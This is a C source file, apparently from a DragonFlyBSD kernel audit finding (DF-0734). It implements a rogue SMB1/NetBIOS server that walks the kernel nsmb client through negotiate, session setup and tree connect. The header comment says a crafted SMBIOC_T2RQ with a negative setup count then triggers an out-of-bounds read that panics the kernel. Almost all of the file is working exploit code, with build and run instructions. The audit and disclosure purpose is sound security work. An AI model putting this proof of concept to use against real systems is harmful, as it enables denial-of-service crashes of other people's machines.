โฌข DragonFlyBSD Kernel Audit
DF-0734 / rogue_smb.c
โ† back to finding โ†“ download raw
/*
 * rogue_smb.c โ€” Minimal SMB1 / NetBIOS-over-TCP server for DF-0734.
 *
 * Purpose: complete just enough of the SMB1 protocol dance so the DragonFly
 * nsmb kernel client establishes a VC + share, enabling the attacker (root)
 * to then issue SMBIOC_T2RQ with ioc_setupcnt = -1 which triggers the
 * signed/unsigned OOB-read at smb_rq.c:629-630.
 *
 * Protocol sequence handled:
 *   1. TCP accept
 *   2. NetBIOS Session Request (type 0x81)  -> Positive Response (0x82)
 *   3. SMB Negotiate (cmd 0x72)             -> CORE dialect (index 0), wc=1
 *   4. SMB Session Setup AndX (cmd 0x73)    -> success, wc=3
 *   5. SMB Tree Connect AndX (cmd 0x75)     -> success, wc=3, tid=1
 *
 * After step 5 the client is in SMBL_SHARE state.  When the client then
 * issues the malicious SMBIOC_T2RQ, the kernel panics *during* TRANS2
 * request construction (smb_rq.c:629-630 OOB read) โ€” BEFORE any TRANS2
 * packet reaches this server.
 *
 * Build:  cc -o rogue_smb rogue_smb.c
 * Run:    ./rogue_smb <port>          (default 1139)
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>

#define SMB_SIGNATURE      "\xFF" "SMB"
#define SMB_HDRLEN         32
#define SMB_FLAGS_RESP     0x80

#define NB_SSN_MESSAGE     0x00
#define NB_SSN_REQUEST     0x81
#define NB_SSN_POSRESP     0x82

#define SMB_COM_NEGOTIATE         0x72
#define SMB_COM_SESSION_SETUP     0x73
#define SMB_COM_TREE_CONNECT      0x75

static int server_port = 1139;

/* Read exactly n bytes (retry on partial reads).  Returns 0 on success, -1 on EOF/error. */
static int
read_exact(int fd, void *buf, size_t n)
{
    size_t got = 0;
    ssize_t r;
    while (got < n) {
        r = read(fd, (char *)buf + got, n - got);
        if (r <= 0)
            return -1;
        got += r;
    }
    return 0;
}

/* Build a minimal SMB response header into buf[0..31]. */
static void
build_smb_hdr(unsigned char *buf, unsigned char cmd,
              unsigned short mid, unsigned short tid, unsigned short uid)
{
    memset(buf, 0, SMB_HDRLEN);
    buf[0] = 0xFF; buf[1] = 'S'; buf[2] = 'M'; buf[3] = 'B';
    buf[4] = cmd;
    /* [5] errclass=0, [6] reserved=0, [7-8] serror=0 โ†’ success */
    buf[9] = SMB_FLAGS_RESP;   /* flags: server response */
    buf[10] = 0; buf[11] = 0;  /* flags2 = 0 */
    /* [12-13] pid_high=0, [14-21] sig=0, [22-23] reserved=0 */
    buf[24] = tid & 0xFF;  buf[25] = (tid >> 8) & 0xFF;   /* TID */
    buf[26] = 0; buf[27] = 0;                              /* PID */
    buf[28] = uid & 0xFF; buf[29] = (uid >> 8) & 0xFF;    /* UID */
    buf[30] = mid & 0xFF; buf[31] = (mid >> 8) & 0xFF;    /* MID */
}

/* Send one NBSS-framed SMB message. */
static int
send_nbss_smb(int fd, const unsigned char *smb, size_t len)
{
    unsigned char hdr[4];
    hdr[0] = NB_SSN_MESSAGE;
    hdr[1] = 0;
    hdr[2] = (len >> 8) & 0xFF;
    hdr[3] = len & 0xFF;
    if (write(fd, hdr, 4) != 4) return -1;
    if (write(fd, smb, len) != (ssize_t)len) return -1;
    return 0;
}

static void
handle_client(int cfd)
{
    unsigned char nbhdr[4];
    unsigned char smb[65536];
    unsigned short uid = 1;
    unsigned short tid = 1;

    /* ---- 1. NetBIOS Session Request ---- */
    if (read_exact(cfd, nbhdr, 4) < 0) {
        fprintf(stderr, "[rogue] failed reading NB session request header\n");
        return;
    }
    if (nbhdr[0] != NB_SSN_REQUEST) {
        fprintf(stderr, "[rogue] unexpected NB type 0x%02x (expected 0x%02x)\n",
                nbhdr[0], NB_SSN_REQUEST);
        return;
    }
    int ssn_len = ((nbhdr[1] & 0x01) << 16) | (nbhdr[2] << 8) | nbhdr[3];
    fprintf(stderr, "[rogue] NB session request, payload %d bytes\n", ssn_len);
    /* consume the called/calling name payload */
    if (ssn_len > 0 && ssn_len < (int)sizeof(smb)) {
        if (read_exact(cfd, smb, ssn_len) < 0) return;
    }
    /* send positive response */
    unsigned char posresp[4] = { NB_SSN_POSRESP, 0, 0, 0 };
    if (write(cfd, posresp, 4) != 4) {
        fprintf(stderr, "[rogue] failed sending NB posresp\n");
        return;
    }
    fprintf(stderr, "[rogue] sent NB_SSN_POSRESP\n");

    /* ---- 2+. SMB message loop ---- */
    for (;;) {
        if (read_exact(cfd, nbhdr, 4) < 0) {
            fprintf(stderr, "[rogue] client disconnected (EOF on NBSS header)\n");
            break;
        }
        if (nbhdr[0] != NB_SSN_MESSAGE) {
            fprintf(stderr, "[rogue] unexpected NBSS type 0x%02x\n", nbhdr[0]);
            break;
        }
        int msglen = (nbhdr[2] << 8) | nbhdr[3];
        if (msglen <= 0 || msglen >= (int)sizeof(smb)) {
            fprintf(stderr, "[rogue] bogus SMB msg len %d\n", msglen);
            break;
        }
        if (read_exact(cfd, smb, msglen) < 0) {
            fprintf(stderr, "[rogue] short read on SMB body\n");
            break;
        }

        /* parse the SMB header */
        if (smb[0] != 0xFF || smb[1] != 'S' || smb[2] != 'M' || smb[3] != 'B') {
            fprintf(stderr, "[rogue] bad SMB signature\n");
            break;
        }
        unsigned char cmd = smb[4];
        unsigned short mid = smb[30] | (smb[31] << 8);
        fprintf(stderr, "[rogue] SMB cmd=0x%02x mid=%u len=%d\n", cmd, mid, msglen);

        unsigned char resp[64];
        int resp_len;

        switch (cmd) {
        case SMB_COM_NEGOTIATE:
            /* Respond with CORE dialect (index 0), wc=1 */
            build_smb_hdr(resp, cmd, mid, 0, 0);
            resp[SMB_HDRLEN]     = 1;           /* word_count = 1 */
            resp[SMB_HDRLEN + 1] = 0;           /* dialect_index = 0 (LE) */
            resp[SMB_HDRLEN + 2] = 0;
            resp[SMB_HDRLEN + 3] = 0;           /* byte_count = 0 (LE) */
            resp[SMB_HDRLEN + 4] = 0;
            resp_len = SMB_HDRLEN + 5;
            break;

        case SMB_COM_SESSION_SETUP:
            /* Respond with success, wc=3, andx=none */
            build_smb_hdr(resp, cmd, mid, 0, uid);
            resp[SMB_HDRLEN]     = 3;           /* word_count = 3 */
            resp[SMB_HDRLEN + 1] = 0xFF;        /* andx_command = none */
            resp[SMB_HDRLEN + 2] = 0;           /* andx_reserved */
            resp[SMB_HDRLEN + 3] = 0;           /* andx_offset = 0 (LE) */
            resp[SMB_HDRLEN + 4] = 0;
            resp[SMB_HDRLEN + 5] = 0;           /* action = 0 (logged in) */
            resp[SMB_HDRLEN + 6] = 0;
            resp[SMB_HDRLEN + 7] = 0;           /* byte_count = 0 */
            resp[SMB_HDRLEN + 8] = 0;
            resp_len = SMB_HDRLEN + 9;
            break;

        case SMB_COM_TREE_CONNECT:
            /* Respond with success, wc=3, tid=1 */
            build_smb_hdr(resp, cmd, mid, tid, uid);
            resp[SMB_HDRLEN]     = 3;
            resp[SMB_HDRLEN + 1] = 0xFF;        /* andx_command = none */
            resp[SMB_HDRLEN + 2] = 0;
            resp[SMB_HDRLEN + 3] = 0;
            resp[SMB_HDRLEN + 4] = 0;
            resp[SMB_HDRLEN + 5] = 1;           /* optional_support = 1 (LE) */
            resp[SMB_HDRLEN + 6] = 0;
            resp[SMB_HDRLEN + 7] = 0;           /* byte_count = 0 */
            resp[SMB_HDRLEN + 8] = 0;
            resp_len = SMB_HDRLEN + 9;
            break;

        default:
            fprintf(stderr, "[rogue] unhandled cmd 0x%02x โ€” sending generic success\n", cmd);
            build_smb_hdr(resp, cmd, mid, tid, uid);
            resp[SMB_HDRLEN]     = 0;           /* wc = 0 */
            resp[SMB_HDRLEN + 1] = 0;           /* bc = 0 */
            resp[SMB_HDRLEN + 2] = 0;
            resp_len = SMB_HDRLEN + 3;
            break;
        }

        if (send_nbss_smb(cfd, resp, resp_len) < 0) {
            fprintf(stderr, "[rogue] failed sending response\n");
            break;
        }
        fprintf(stderr, "[rogue] sent response for cmd=0x%02x (%d bytes)\n", cmd, resp_len);
    }

    close(cfd);
}

int
main(int argc, char **argv)
{
    int sfd, cfd;
    struct sockaddr_in sa;
    int opt = 1;

    if (argc > 1)
        server_port = atoi(argv[1]);

    signal(SIGPIPE, SIG_IGN);
    signal(SIGCHLD, SIG_IGN);

    sfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sfd < 0) { perror("socket"); return 1; }
    setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));

    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_port = htons(server_port);
    sa.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (bind(sfd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("bind");
        return 1;
    }
    if (listen(sfd, 1) < 0) {
        perror("listen");
        return 1;
    }
    fprintf(stderr, "[rogue] listening on 127.0.0.1:%d\n", server_port);
    fflush(stderr);

    for (;;) {
        cfd = accept(sfd, NULL, NULL);
        if (cfd < 0) {
            if (errno == EINTR) continue;
            perror("accept");
            break;
        }
        fprintf(stderr, "[rogue] client connected\n");
        fflush(stderr);
        handle_client(cfd);
        fprintf(stderr, "[rogue] client done\n");
        fflush(stderr);
    }
    close(sfd);
    return 0;
}